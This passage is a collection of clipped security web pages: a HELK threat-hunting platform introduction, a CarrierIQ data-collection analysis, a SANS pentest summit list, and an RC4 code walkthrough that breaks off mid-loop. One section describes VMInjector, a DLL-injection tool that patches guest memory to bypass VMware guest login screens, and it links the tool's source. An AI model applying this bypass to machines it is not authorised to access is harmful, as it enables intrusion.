logic in compiled code. The plugin is capable of identifying both direct and
indirect recursion and applies comments to recursive functions and their
caller instructions. It also generates a markdown page that is rendered in
BN’s UI that contains the locations of recursive logic. It works against
binaries compiled under all architectures supported by BN. This plugin is part
of Binjago, a suite of plugins that I’ve written to aid in static analysis. A
screenshot of the instruction comments applied by the plugin is depicted
below. The plugin can be found here.

<img src='img/direct-recursion.png' width='678' height='561' />

Binjago Recursive Logic Annotations

# Conclusion

Complex recursive routines are often difficult to understand, which sometimes
leads to other programming mistakes in surrounding logic. Unbounded recursion
can be leveraged to smash the stack and under some conditions, recursion can
be leveraged to effect the layout of the stack to attack an uninitialized
stack variable. If you are interested in reading about a recursion
vulnerability that has been exploited in practice, I recommend Project Zero:
Exploiting Recursion in the Linux Kernel. Thank you for reading\!

  

# PSJ2014\_Ilja\_Windows Kernel Graphics DV\_ps.pptx - PSJ2014\_Ilja\_Windows
Kernel Graphics DV\_ps.pdf

**Created:**| _12/1/2014 10:02:16 AM_  
---|---  
**Updated:**| _12/1/2014 10:02:16 AM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/PSJ2014_Ilja_Windows Kernel Graphics DV_ps.pdf' />

# pentest09 summit

**Created:**| _6/18/2009 10:43:34 PM_  
---|---  
**Updated:**| _6/18/2009 10:43:47 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

  * Zip file of all PDFs \(updated 20090612\)
  *   

  * Alberto Solino - Keynote 6-1 Pen Testing Trends - SANS PenTest Summit09.pdf
  * Anthony Alves - Vendor Panel Core Security - SANS PenTest Summit.pdf
  * David Byrne - SANS Pen Testing Summit\_ Grendel-Scan.pdf
  * HD Moore - msfuture - SANS PenTest Summit09.pdf
  * Jason Ostrom - VIPER SANS Pentest Summit 2.pdf
  * Jeremiah Grossman - WebApp Vulnerabilty Analysis - SANS PenTest Summit09.pdf
  * Josh Wright - Wireless Weaponry - SANS PenTest Summit09.pdf
  * Larry Pesce - Taking Recon to the Next Level - SANS PenTest Summit09.pdf
  * Paul Asadoorian - ZenArtOfInternalPenTesting - SANS PenTestSummit09.pdf
  * Robert Hansen - Late-Breaking Web App Pen Test Techniques - SANS PenTest Summit09.pdf
  * Stephen Sims - Custom Penetration Testing - SANS PenTest Summit09.pdf
  * Toby Kohlenberg - Theory Vs. Practice - SANS PenTest Summit09.pdf
  * Valsmith - Metaphish - SANS PenTest Summit09.pdf
  * Vinnie Liu - Realworld Code Review - SANS PenTest Summit09.pdf

# Welcome to HELK\! : Enabling Advanced Analytics Capabilities

**Created:**| _3/2/2019 6:16:47 PM_  
---|---  
**Updated:**| _3/2/2019 6:16:47 PM_  
**Author:**| _wishi_  
**Tags:**| _elasticsearch elk threat-hunting_  
  

  

###  Welcome to HELK\! : Enabling Advanced Analytics Capabilities

  

<img src='img/helk_analysts.png' width='640' height='284' />

  
In the last few years, collecting and storing endpoint and network security
event data has become an inexpensive task for organizations of all sizes.
Buying extra physical hard drives or increasing the storage capacity of a
server in the cloud is now more affordable than ever. Nowadays, it is common
to see organizations even trying to collect every single log available across
their enterprise in case it is needed for extra context during an
investigation or simply just to monitor the functionality of key applications.  
  
This concept, of course, has benefited security analysts from a data
availability perspective. However, it has also created this overwhelming stage
where there is so much data that traditional SIEM capabilities are limiting
the way how data can be described or analyzed.  
  
In this post, I am excited to introduce The Hunting ELK \(HELK\) to the
community. HELK is an ecosystem composed of several open source frameworks
working together with the main goal of empowering threat hunters and extending
the functionalities of an Elastic ELK stack by enabling advanced analytics
capabilities. This post will shortly introduce every component of the HELK and
provide a few basic use cases to explain some of the benefits that it could
bring to a hunt team.  
  
I believe that in order to understand what it is that I am trying to solve
with the HELK, it is important to understand what I like and wish I had when
using a basic ELK stack \(SIEM\).  
  
Note: Initial basic capabilities similar to the ones used by traditional SIEMs
are part of the FREE and Basic elastic subscriptions. You need to purchase the
Platinum subscription if you want to start using a few similar \(not
necessarily better\) functionalities that the HELK provides. You can read more
about elastic subscriptions and all the great features that you get if you pay
here.  
  
  
  

##  What I Like About You\!

  
  

###  Elasticsearch

  

  * High scalability in data ingestion \(Write\) and data availability \(Read\)
    * When I do research at home or test a few things in larger environments, I love to ingest data as fast as it is generated and make it instantly available in my stack for analysis.
    * Elasticsearch has approximately a write rate of 1M+ events per second and default refresh interval of 1 second for data to be readable.
  * Simple data model
    * JSON
    * Flexible Schema
  * Restful API
    * Custom flexible aggregations and operations via its flexible API
  * Sharding
    * It allows horizontal split/scale of the data
    * It allows you to distribute and parallelize operations across shards \(potentially on multiple nodes\) thus increasing performance/throughput

###  Kibana

  * Native real time exploration on the top of elasticsearch
  * Dashboard flexibility
    * Drag and drop functionalities
  * Custom visualizations via Vega\!
    * Declarative format to make custom data visualizations
    * Integration of interactive views using D3
    * Multiple data sources in one graph

###  Logstash

  * Pluggable pipeline architecture
  * Integration with messaging queues technologies
    * Enhancing real-time streaming
  * Horizontally scalable data processing pipeline
  * Great flexibility when normalizing and transforming data
    * Ability to write custom Ruby scripts to manipulate data at the pipe level
  * Native integration with Elasticsearch

  

Clearly, right out of the box, with a basic ELK stack, one can easily have a
traditional SIEM up and running in a few minutes. My journey with an ELK stack
started early last year, and I blogged about how to set one up. If you are
interested in building your own manually, you can follow the steps here. If
you are using a similar basic setup, your build might look similar to the
following:  
  
  
  
<img src='img/helk-basic.png' width='640' height='234' />  
---  
**Figure 1:** Basic ELK Stack design  
  
  

##  Now, I Wish I Had..

  

###  A Declarative Structure Language like SQL

  

What if you could easily run the following query on an elasticsearch database
and get results right away?

  

_“**SELECT **process\_guid,process\_name,command\_line **FROM** sysmon
**WHERE** event\_id=1 limit 10”_  
_  
_  
<img src='img/helk_sql_query_result.png' width='640' height='168' />  
---  
**Figure 2:** SQL query results  
  

_  
_

_Yes, I know\! You can get a similar result in Kibana ;\)_

_  
_  
<img src='img/helk-kibanasql.png' width='640' height='252' />  
---  
| **Figure 3:** Kibana results. similar to basic SQL query  
---  
  

  

However, what if I wanted to do the following:  

  * WHERE the event IDs are 1 for process create and 3 for network connections
  * SELECT specific fields FROM a Sysmon Index
  * WHERE the destination IP addresses are specific internal IPs
  * JOIN those events ON equal Process GUID values to enrich the data and get process and network information on the same record. 

Yes, a simple JOIN inside of a Sysmon index. In a SQL-like query, it might
look something like this:

  

_“**SELECT **p.process\_parent\_name, p.parent\_command\_line,
p.process\_name,p.command\_line, p.hash\_sha1, n.dst\_ip **FROM** sysmon p
**JOIN** sysmon n **ON **p.process\_guid = n.process\_guid **WHERE**
p.event\_id = 1 **AND** n.event\_id = 3 **AND** n.dst\_ip LIKE '172.%' limit
5”_  
_  
_  
<img src='img/helk-advancedsql.png' width='640' height='78' />  
---  
**Figure 4:** Results of basic JOIN with a basic SQL query  
  

  

Can you do that in Kibana when working with an elasticsearch database with a
flat schema? You might end up with an OR statement for event IDs 1 and 3, and
the rest you can see it in the figure below. Not efficient\!  
  
  
<img src='img/helk-kibanaadvancedsql.png' width='640' height='336' />  
---  
| **Figure 5:** Attempting to get the same results \(SQL-like query\) with
Kibana  
---  
  

  

That was just one JOIN query on the same index. Just imagine how it would be
across several indices. Elasticsearch is document-oriented and not a
structured relational database so it is hard to run even basic JOIN queries
across several indices since there is not a concept of a join key. According
to elastic’s Query DSL documentation, performing full SQL-style joins in a
distributed system like Elasticsearch is prohibitively expensive. One way that
Elasticsearch sort of allows you to have a similar concept of a JOIN \(not
necessarily a SQL JOIN\) is via nested documents and parent child. However, it
becomes very cumbersome when one tries to use nested queries to accomplish a
similar SQL-like JOIN result. You usually end up with a complex hierarchical
query where you have to define the parent, the child and other information
that makes the operation very inefficient. Elasticsearch apparently is
planning on releasing an Elasticsearch SQL functionality in their X-Pack 6.3
public release, but it will be available only starting with the platinum
commercial subscription. If you want to learn more about Elasticsearch SQL, I
recommend watching this great video by Costin Leau from elastic.

  

  

###  Graph Analytics Capabilities

  

As you already know, finding relational data patterns in an elasticsearch
database is not an easy task. As shown before, one could start joining event
sources and describe their relationships with the help of SQL-like queries.
However, it could turn a little bit challenging defining several JOINs when
the data and relationships grow tremendously \(so-called join pain\).
Therefore, I think it would be nice to be able to describe those large data
sets via graph algorithms and find structural patterns in a more intuitive way
via declarative graph queries.

It is important to remember that graph analytics is not just simply collecting
data and showing a graph with nodes \(vertices\) connected to each other via
common relationships \(edges\). A graph is just a logical representation of
the data. I have seen visual representations of graphs where there were so
many vertices displayed, it was hard to even know what exactly was going on. A
graph with thousands vertices all in one image with nodes on the top of each
other is not useful. One needs to either filter that down or apply graph
analytics to identify specific structured patterns or describe the data in a
more intuitive and efficient way. What if I had a large data set of Windows
Security event logs and I wanted to identify patterns of users authenticating
to other systems in the network. Searching for successful logon events type 3
\(network\) might be a good start. The typical analysts view would be the
following:  

  
  
<img src='img/helk-kibana-basicgraph.png' width='640' height='320' />  
---  
| **Figure 6:** Windows Security Event Logs - Logon Type 3  
---  
  

  

Even though some might say that blue teamers think in lists, I believe that it
is the technology in front of them that might be limiting the way how they
think about the data. One could think of the data above, from an endpoint to
endpoint perspective, the following way \(portion of the data\):  
  
  
<img src='img/helk-graphs.png' width='640' height='384' />  
---  
**Figure 7:** Representing a portion of the security event logs in a graph  
  

  

However, how do you manipulate that data as a graph in kibana? In addition, it
is easy to follow the figure above and count all the relationships per node.
However, in a real environment, you will have so many relationships \(edges\)
and nodes \(vertices\) that it could be hard to just look at a graph and make
decisions from it. Enabling graph analytics would allow security analysts to:  

  * Identify the relative importance of an endpoint or user based on the number of connections in comparison to other endpoints or users in the network.
  * Calculate the inbound and outbound connections from each endpoint \(Directed Graph\)
  * Group endpoints into connected subgraphs
  * Detect communities of endpoints or users
  * Search for structural patterns in the graph \(Cypher-like Queries\)

  

What if I wanted to describe basic structural parent-child patterns in a
Sysmon process create dataset? It would be nice to be able to use Cypher-like
queries like the following one:

  

###  "\(a\)-\[\]->\(b\);\(b\)-\[\]->\(c\)"

  
  
<img src='img/helk-motif.png' width='640' height='238' />  
---  
**Figure 8:** Results of structure parent query  
  

  

Elastic provides a few graphing functionalities, but only when you install
X-Pack and purchase its Platinum subscription. You can learn more about it in
the “Graphing Connections in Your Data” documentation in the Kibana User
Guide. It does not provide a flexible way to apply graph algorithms or an easy
declarative graph query language to define structural patterns. Also, graphing
features provided by X-pack have limited support for multiple indices.
According to the Graph Limitations documentation, the Graph API can explore
multiple indices, types, or aliases in a single API request, but the
assumption is that each "hop" it performs is querying the same set of indices.
Currently, it is not possible to take a term found in a field from one index
and use that value to explore connections in a different field held in another
type or index.

  

  

###  Machine Learning Capabilities

A new signature, a new alert, another signature, another alert, and another
alert\!\! Yes, that is most likely what you experience at work every single
day as a security analyst. You ever wonder what it would be like to go beyond
just detections built to catch the specific known bad? What about learning a
little bit more about other analytics techniques that could help derive
insights and make predictions or recommendations based on data? Yes, I wish I
could implement and explore Machine Learning \(ML\) concepts on top of an ELK
stack. According to Chio, Clarence; Freeman, David in “Machine Learning and
Security: Protecting Systems with Data and Algorithms \(Kindle Locations
282-283\)”, at its core, machine learning is, “a set of mathematical
techniques, implemented on computer systems, that enables a process of
information mining, pattern discovery, and drawing inferences from data.”
According to Chambers, Bill; Zaharia, Matei. in “Spark: The Definitive Guide:
Big Data Processing Made Simple \(Kindle Locations 13051-13053\)”, the best
ontology for machine learning is structured based on the task that you’d like
to perform. The most common tasks include:  

  * **Supervised learning** , including classification and regression, where the goal is to predict a label for each data point based on various features.
  * **Recommendation engines** to suggest products to users based on behavior. 
  * **Unsupervised learning** , including clustering, anomaly detection, and topic modeling, where the goal is to discover structure in the data. 
  * **Graph analytics** tasks such as searching for patterns in a social network.

  
On May 4th, 2017, Elastic announced the first release of machine learning
features for the Elastic Stack, available via X-Pack and its commercial
Platinum subscription. It is important to mention that the machine learning
features of X-Pack are focused only on providing “Time Series Anomaly
Detection” capabilities using unsupervised machine learning. Don’t get me
wrong, this is great to have\!\! It just would be nice to have the flexibility
even when paying for a commercial license to be able to test additional ML use
cases and implementations.

  

  

###  Streaming Processing Capabilities

  

Support for a declarative structured language like SQL or for new concepts
such as graph analytics and ML on the top of an ELK stack would be great\!\!\!
But do you know what would be awesome? If I could also do all that, but in
real time and via a distributed streaming engine.

  

According to Chambers, Bill and Zaharia, Matei in “Spark: The Definitive
Guide: Big Data Processing Made Simple” \(Kindle Locations 11049-11052\),
stream processing is the act of continuously incorporating new data to compute
a result. In stream processing, the input data is unbounded and has no
predetermined beginning or end. It simply forms a series of events that arrive
at the stream processing system \(e.g., credit card transactions, clicks on a
website, or sensor readings from Internet of Things \[IoT\] devices\).

  

Looking at our previous JOIN example, it would be awesome to stream-process
similar structured queries that we used before as the data flows through the
data pipeline and send the results over to an elasticsearch index.  
  
  
<img src='img/helk-streamingconsole.png' width='640' height='330' />  
---  
**Figure 9:** Structured streaming  
  

  
  
<img src='img/helk-streamingkibana.png' width='640' height='364' />  
---  
**Figure 10:** Structured streaming results sent to Elasticsearch and
visualized via Kibana  
  

  

As you can see in the images above, applying the structured transformation
\(SQL JOIN\) to the data in real-time will make the data enrichment process a
lot easier and more efficient. Some of the use cases for security analysts
could include:

  * **Real-time decision making**
    * Identification of relationships and patterns in real time leads to faster detection and response
  * **Data updates in real time**
    * Data being enriched and updated in real time enables analysts to query the data faster downstream. \(i.e JOINs\)
    * ML models updates \(The most challenging use case\)
  * **Interactive data pipelines** \(structured format\)
    * This enables analysts to query the data in a structured way before it even gets to elasticsearch

  

  

###  Interactive Hunt Playbooks Support

  

Last but not least, one aspect of threat hunting that I feel is being
considered more and more in the industry is the fact that it needs structure.
Specially, during a hunting engagement, knowing what it is that you are trying
to hunt for allows your team to align to the business use cases, priorities
and threat landscape. Therefore, I wish I had a way to document and share the
methodology I would use to explore and analyze data during a hunting
engagement. This would be beneficial even for security analysts that are just
starting in the field. In the image below you can see an example of a playbook
that a hunter could follow to expedite the time of analysis and transformation
of the data.  
  
  
  
<img src='img/helk-notebook.png' width='640' height='398' />  
---  
**Figure 11:** Notebook Example  
  

  
Wouldn’t it be nice to have all that in one framework and in an affordable way
\(Open Source\)?  
  
  

##  Welcome To HELK\!\!\!

  

The Hunting ELK or simply the HELK is one of the first public ELKs that
enables advanced analytics capabilities for free. Every wish that I had became
every reason to start building the HELK. In fact, all the examples shown
throughout this post were performed with the HELK. This project was developed
primarily for research, but due to its flexible design and core components, it
can be deployed in larger environments with the right configurations and
scalable infrastructure. Therefore, there are a variety of use cases that can
be prototyped with it. The main implementation of this project is Threat
Hunting \(Active Defense\).

  

###  Enabling Advanced Analytics

  
  
<img src='img/helk-table.png' width='640' height='168' />  
---  
**Figure 12:** HELK advanced analytics frameworks  
  

###  Core Components Definitions

  

**Kafka**

  

"Kafka is a distributed publish-subscribe messaging system used for building
real-time data pipelines and streaming apps. It is horizontally scalable,
fault-tolerant, wicked fast, and runs in production in thousands of
companies." Apache Kafka

  

**Elasticsearch**

  

"Elasticsearch is a highly scalable open-source full-text search and analytics
engine. It allows you to store, search, and analyze big volumes of data
quickly and in near real time. It is generally used as the underlying
engine/technology that powers applications that have complex search features
and requirements." Elastic

  

**Logstash**

  

"Logstash is an open source data collection engine with real-time pipelining
capabilities. Logstash can dynamically unify data from disparate sources and
normalize the data into destinations of your choice. Cleanse and democratize
all your data for diverse advanced downstream analytics and visualization use
cases.” Elastic

  

**Kibana**

  

"Kibana is an open source analytics and visualization platform designed to
work with Elasticsearch. You use Kibana to search, view, and interact with
data stored in Elasticsearch indices. You can easily perform advanced data
analysis and visualize your data in a variety of charts, tables, and maps.
Kibana makes it easy to understand large volumes of data. Its simple, browser-
based interface enables you to quickly create and share dynamic dashboards
that display changes to Elasticsearch queries in real time." Elastic

  

**Apache Spark**

  

"Apache Spark is a fast and general-purpose cluster computing system. It
provides high-level APIs in Java, Scala, Python and R, and an optimized engine
that supports general execution graphs. It also supports a rich set of higher-
level tools including Spark SQL for SQL and structured data processing, MLlib
for machine learning, GraphX for graph processing, and Spark Streaming."
Apache Spark

  

**ES-Hadoop**

  

"Elasticsearch for Apache Hadoop is an open-source, stand-alone, self-
contained, small library that allows Hadoop jobs \(whether using Map/Reduce or
libraries built upon it such as Hive, Pig or Cascading or new upcoming
libraries like Apache Spark \) to interact with Elasticsearch. One can think
of it as a connector that allows data to flow bi-directionally so that
applications can leverage transparently the Elasticsearch engine capabilities
to significantly enrich their capabilities and increase the performance."
Elastic

  

**GraphFrames**

  

"GraphFrames is a package for Apache Spark which provides DataFrame-based
Graphs. It provides high-level APIs in Scala, Java, and Python. It aims to
provide both the functionality of GraphX and extended functionality taking
advantage of Spark DataFrames. This extended functionality includes motif
finding, DataFrame-based serialization, and highly expressive graph queries."
GraphFrames

  

**Jupyter Notebook \(JupyterLab\)**

  

"The Jupyter Notebook is an open-source web application that allows you to
create and share documents that contain live code, equations, visualizations
and narrative text. Uses include: data cleaning and transformation, numerical
simulation, statistical modeling, data visualization, machine learning, and
much more." Jupyter

  

  

###  Design

  
  

<img src='img/helk-design.png' width='640' height='220' />

  

  

  

The figure above is pretty straightforward and shows you how each piece is
connected. However, I think it is important to provide some more context
around the connections:

  

  * Data gets collected with Winlogbeats \(Only shipper supported for now\)
    * I encourage you to use WEF servers to aggregate all your Windows logs and then use winlogbeats to ship the logs to Kafka
  * Kafka stores event logs on specific topics and publish them to anyone who subscribe to them
  * There are two applications that can subscribe to Kafka topics
    * Logstash subscribes to specific topics available in Kafka. It collects every single log available in the Kafka brokers
    * Spark also has the capability to subscribe to specific Kafka topics, but it uses them to apply other advanced analytics not available in Logstash. Structured streaming is possible with Spark and Kafka.
  * Logstash sends data to Elasticsearch
  * Data gets visualized via Kibana
  * ES-Hadoop allows Spark to communicate with Elasticsearch
  * Jupyter Lab Notebook is the default Python Driver for Pyspark \(Spark’s Python Language API\). Therefore, every notebook created in Jupyter will automatically have the option to use Spark Python language APIs. There are other languages available such as Scala and SQL.
    * Graphframes can be imported via Pyspark and Scala in Jupyter

  

  
  

###  Current Status

  
The project is currently in an alpha stage, which means that the code and the
functionality are still changing. We haven't yet tested the system with large
data sources and in many scenarios. We invite you to try it and welcome any
feedback.  
  
  

###  Getting Started

  

You can start playing with the HELK in a few steps:

**HELK Download**

  * git clone https://github.com/Cyb3rWard0g/HELK.git

  

**HELK Install**

  * cd HELK/
  * sudo ./helk\_install.sh

For more details, visit the HELK’s Wiki on GitHub.

  

###  Contributing

  

I would love to make the HELK a more stable build for everyone in the
community. If you are interested on helping me accomplish that, and adding
some other great capabilities to it, PLEASE feel free to submit a pull
request. **GitHub Link:** https://github.com/Cyb3rWard0g/HELK This is all for
today\! This was just an introduction to the HELK. I tried to keep it as
simple as possible in order to cover most of its capabilities in basic terms.
In the following posts, I will be expanding a lot more on the technical
details of each component and showing a few use cases via Jupyter Notebooks so
that you can try them at home too. I am also learning while in the process of
developing the HELK, so I would really appreciate your feedback\!\!

  

Posted by  Wardog at 11:43 AM

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

  

  *[11:43 AM]: 2018-04-09T11:43:00-07:00

# Security Research by Dan Rosenberg

**Created:**| _12/6/2011 10:02:41 AM_  
---|---  
**Updated:**| _12/6/2011 10:02:41 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis mobile/embedded_  
  

## CarrierIQ: The Real Story

Since the beginning of the media frenzy over CarrierIQ, I have repeatedly
stated that based on my knowledge of the software, claims that keystrokes, SMS
bodies, email bodies, and other data of this nature are being collected are
erroneous. I have also stated that to satisfy users, it’s important that there
be increased visibility into what data is actually being collected on these
devices. This post represents my findings on how CarrierIQ works, and what
data it is capable of collecting.  

# CarrierIQ Architecture Overview

There has been a lot of misinformation about which parties are responsible for
which aspects of data collection. At a high level, CarrierIQ is a piece of
software installed on phones that accepts pieces of information known as
_metrics_. On receiving a submitted metric, CIQ evaluates whether that metric
is “interesting” based on the current _profile_ installed on the device.
Profiles dictate whether or not a piece of information is relevant for
assessing a particular aspect of phone service, such as reception or battery
usage. These profiles are written by CarrierIQ at the request of cell phone
carriers.

Note that the CarrierIQ application simply receives these metrics, collects
them, and eventually uploads them to be analyzed by carriers. All of the code
responsible for determining which metrics are submitted to CIQ for processing
is integrated into the phone’s application stack by the handset manufacturers
themselves.

To get a complete picture of this, suppose a carrier decides it wants to know
about dropped calls. The handset manufacturers who produce phones supported by
that carrier instrument the application code such that a metric is submitted
to the CarrierIQ application when a call is dropped. When the CIQ application
receives this metric, it evaluates whether or not to actually record this data
and send it to the carrier based on the profile installed on the device.

# What Metrics are Available?

I have completed an analysis of a deployment of CarrierIQ on the Samsung Epic
4G Touch. In this analysis, I enumerated every CarrierIQ-related hook
integrated into the Android framework and examined what metrics can possibly
be collected, and just as importantly, in what situations. This list does not
include metrics that may be submitted by the baseband, which include
additional radio and telephony information. The following table represents my
findings:

**Metric ID**| **Metric**| **Data Sent**| **Situation**  
---|---|---|---  
AL34, AL35, AL36| Browser page render event| Internal page ID, **no data
related to page contents or URL**|  Page renders  
LC18, LC30| Location event| GPS and non-GPS location data| Location changes,
telephony-related events  
NT0F, NT10| HTTP event| Request type, content length, local port, status code,
URL, **no page contents**|  HTTP request sent or response received  
NT07| Network event| Internal identifier| Network state changes  
DO3M, GS18, GS19, GS46, GS47, GS6E, RF02, RF04, RF05, RF1A, RF55|
Telephony/radio events| Misc. radio and telephony data| Call dropped, service
issues, radio event, etc.  
HW03, HW10, HW11| Hardware event| Battery level, voltage, temperature, etc.|
Hardware state change  
UI01| Keystroke event| Keycode| Key pressed **in phone dialer only**  
UI08, UI09| Miscellaneous GUI events| Network type, battery state| GUI state
changes  
GS01, GS02, GS03, LO03| Call event| CallerID, state, phone number| Call
initiated, received, or failed  
UI13, UI15, UI19| Application event| Application name| New app, app stopped,
app gained/lost focus  
QU04, QU05| Questionnaire event| Question data| Questionnaire completed  
MG01, MG02| SMS event| Message length, phone number, status, **no message
body**|  SMS received or sent  
# Interpreting These Findings

There are a number of important conclusions that can be drawn from this
information:

  * 1\. CarrierIQ **cannot** record SMS text bodies, web page contents, or email content even if carriers and handset manufacturers wished to abuse it to do so. There is simply no metric that contains this information.

2\. CarrierIQ \(on this particular phone\) **can** record which dialer buttons
are pressed, in order to determine the destination of a phone call. I’m not a
lawyer, but I would expect cell carriers already have legal access to this
information.

3\. CarrierIQ \(on this particular phone\) **cannot** record any other
keystrokes besides those that occur using the dialer.

4\. CarrierIQ **can** report GPS location data in some situations.

5\. CarrierIQ **can** record the URLs that are being visited \(including for
HTTPS resources\), but not the contents of those pages or other HTTP data.

One important thing to note is that this represents the metrics that are
submitted to the CarrierIQ application by the code written by Samsung. The
list of available metrics are carrier specific, but will remain constant on a
given handset model. The subset of this data that is actually recorded and
collected is at the discretion of the carrier, and is based on the profile
installed on the device.

**Edit:** There have been comments made about use of the word “cannot” versus
“does not”. I am using the word “cannot” literally, as in “is not capable of,
in the present tense, without being altered by modifying its code and
installing a new version on the phone”. It seems obvious to me that CarrierIQ
could be modified in the future to perform nefarious actions: so could any
application on your phone. Keep in mind CIQ is integrated by the OEM and to my
knowledge has never been modified after installation, except in terms of
profiles, which simply dictate which subset of available metrics defined by
the OEM are collected.

# Why Do They Gather This Data?

Taking this information into account, all of the data that is potentially
being collected supports CarrierIQ’s claims that its data is used for
diagnosing and fixing network, application, and hardware failures. Every
metric in the above table has potential benefits for improving the user
experience on a cell phone network. If carriers want to improve coverage, they
need to know when and where calls are dropped. If handset manufacturers want
to improve battery life on phones, knowledge of which applications consume the
most battery life is essential. Consumers will have their own opinions about
whether the collection of this data falls under the terms set by service
agreements, but it’s clear to me that the intent behind its collection is not
only benign, but for the purposes of helping the user.

# Conclusions

Based on my research, CarrierIQ implements a potentially valuable service
designed to help improve user experience on cellular networks. However, I want
to make it clear that just because I do not see any evidence of evil
intentions does not mean that what’s happening here is necessarily right. I
believe the following points need to be addressed. Note that most of the
burden in this situation falls not on CarrierIQ but on the handset
manufacturers and carriers, who are ultimately responsible for both collecting
this information and establishing service agreements with consumers.

  * 1\. Consumers need to be able to opt out of any sort of data collection. This option would need to be provided by carriers and handset manufacturers.

2\. There needs to be more transparency on the part of carriers in terms of
what data is being collected from users.

3\. There needs to be third-party oversight on what data is collected to
prevent abuse.

4\. The verbose debugging logs demonstrated in Trevor Eckhart’s video are a
risk to privacy, and should be corrected by HTC \(the author of the
responsible code\) by disabling these debugging messages.

5\. The legality of gathering full URLs with query parameters and other data
of this nature should be examined.

**Footnote:** Neither I nor my employer \(VSR\) have ever had a professional
relationship with CarrierIQ, handset manufacturers, or cellular providers.
This research was conducted independently by me.

**Edit:** In the interest of full disclosure, after completing this research,
I provided it to CarrierIQ, who confirmed my technical findings.

This entry was posted on Monday, December 5th, 2011 at 12:42 am and is filed
under Android. You can follow any responses to this entry through the RSS 2.0
feed. Both comments and pings are currently closed.

# Computer Security Blog | Learning The Offensive Security: VMInjector - DLL Injection tool to unlock guest VMs
**Created:**| _2/4/2013 7:23:32 AM_  
---|---  
**Updated:**| _2/4/2013 7:23:32 AM_  
**Author:**| __  
**Tags:**| _dll-injection_  
  

# VMInjector - DLL Injection tool to unlock guest VMs

  
_**Overview:**_ _VMInjector is a tool designed to bypass OS login
authentication screens of major operating systems running on VMware
Workstation/Player, by using direct memory manipulation._  
_**Description:**_  
_VMInjector is a tool which manipulates the memory of VMware guests in order
to bypass the operation system authentication screen._  
_VMware handles the resources allocated to guest operating systems, including
RAM memory. VMInjector injects a DLL library into the VMWare process to gain
access to the mapped resources. The DLL library works by parsing memory space
owned by the VMware process and locating the memory-mapped RAM file, which
corresponds to the guest’s RAM image. By manipulating the allocated RAM file
and patching the function in charge of the authentication, an attacker gains
unauthorised access to the underlying virtual host._  
_VMInjector can currently bypass locked Windows, Ubuntu and Mac OS X operation
systems._  
_The in-memory patching is non-persistent, and rebooting the guest virtual
machine will restore the normal password functionality._  
_**Attacking Scenarios:**_  
_VMInjector can be used if the password of a virtual host is forgotten and
requires reset._  
_Most usually, this tool can be used during penetration testing activities,
when access to a VMWare host is achieved and the attacker is looking to gain
additional access to the guests running in such host._  
_**Requirements:**_

  * _Windows machine \(with administrative access\);_
  * _VMware workstation or player edition;_
  * _A locked guest VM;_

_**Usage:**_  
_VMInjector consists of 2 parts:_

  * _The DLL injection application \(python script or provided converted executable\)_
  * _DLL library \(x86 and x64\)_

_The tool supports both x86 and x64 bit architectures by providing both DLLs.
One may use his own DLL injector to select the guest virtual machine running
on the host._  
_In order to run the tool, execute the VMInjector \(32 or 64\) executable
provided from the command line as shown in figure 1._

__

_<img src='img/Temp2_1567.jpg' />_

__

_**Figure 1: List of running guest machines running.**_  
_VMWare runs each guest in a different process. VMInjector needs to be pointed
to the process running the guest which requires bypass. Once the user chooses
a process, it will inject the DLL into the chosen target._  
_Once the DLL is injected, the user will need to specify the OS, so that the
memory patching can be accomplished, as shown in Figure 2._

__

_<img src='img/Temp2_1568.jpg' />_

__

_**Figure 2: Searching for OS signature in memory and patching.**_

_**Tool and Source Code:**_

_The tool executable and source code can be found on GitHub
\(https://github.com/batistam/VMInjector\)_

> **Source:http://www.secforce.com/blog/2012/11/vminjector/ **
If you like my blog, Please Donate Me  
Or Click The Banner For Support Me.  

# xRC4 | X-N2O
**Created:**| _4/21/2010 9:55:23 AM_  
---|---  
**Updated:**| _4/21/2010 9:55:32 AM_  
**Author:**| __  
**Tags:**| _crypto programming_  
  

## xRC4

Category: Coding, Cryptography / Tag: Ciphertext, Custom S-BOX, RC4 Algorithm,
Ronald Rivest / Add Comment

Hello,  
This is my second post in this blog.  
Today I will explain the RC4 algorithm, and will also provide my
implementation.  
RC4 is a stream cipher created by Ronald Rivest in 1987.  
Quoted from wikipedia:

> RC4 was initially a trade secret, but in September 1994 a description of it
> was anonymously posted to the Cypherpunks mailing list\[3\]. It was soon
> posted on the sci.crypt newsgroup, and from there to many sites on the
> Internet. The leaked code was confirmed to be genuine as its output was
> found to match that of proprietary software using licensed RC4. Because the
> algorithm is known, it is no longer a trade secret.
  
A stream cipher is a symmetric key cipher, in which every byte \(or bit\) of
the plaintext is merged/combined/XORed with a pseudorandom byte calculated
from the key.  
Now, a symmetric key cipher is a cryptographic algorithm, that the decryption
key can be calculated from the encryption key.  
In RC4’s case, the encryption key is the same as the decryption key.

The RC4 implementation includes two steps:  
1\. The S-Box generation  
2\. The ciphertext generation

### 1\. The S-Box generation

A S-Box \(Substitution box\) is an array of bytes, that when combined with the
plaintext, gives us the ciphertext, and in symmetric key algorithms, when
combined with the ciphertext restores the original plaintext.  
RC4 uses a 256 byte S-Box, but I’ve implemented it so you can make S-Box any
size you want.  
Generating the S-Box is very easy. First it must be initialized to the
identity permutation.  
It is done like so: S\[0\] = 0; S\[1\] = 1; …S\[n\] = n;  
Two variables are used for the next steps: i and j.  
For every element of S, j is set to the sum of itself, S\[i\], keystream\[i
modulo keylength\] then a modulo operation is done against j.  
Then S\[i\] is swapped with S\[j\].  
The modulo operation makes sure that both the keystream and j itself, doesn’t
go out of the boundaries.  
Here is the code:

[code]

    for(i = 0; i &lt; _sSize; i++)
    _S[i] = i;
    for(i = j = 0; i &lt; _sSize; i++) {
        j = (j + _S[i] + key[i % keyLen]) % _sSize;
        __xswap(_S[i], _S[j]);
    }
    
[/code]

There, we got ourselves the first step.

### 2\. The ciphertext generation

The second step is simple too.  
First i and j are initialized to zero.  
Then for every character of the plaintext, i is set to i + 1, then a modulo
operation is done against it, while j is set to itself plus S\[i\], and a
modulo operation is done against j too.  
The first modulo operation makes sure that S\[i\] doesn’t access out of
boundary bytes.  
After that, S\[S\[i\] + S\[j\] modulo \_sSize\] is XOR’ed with the current
plaintext body.  
Here is the code:

[code]

    i = j = 0;
    while(*__inp) {
        i = (i + 1) % _sSize;
        j = (j + _S[i]) % _sSize;
        __xswap(_S[i], _S[j]);
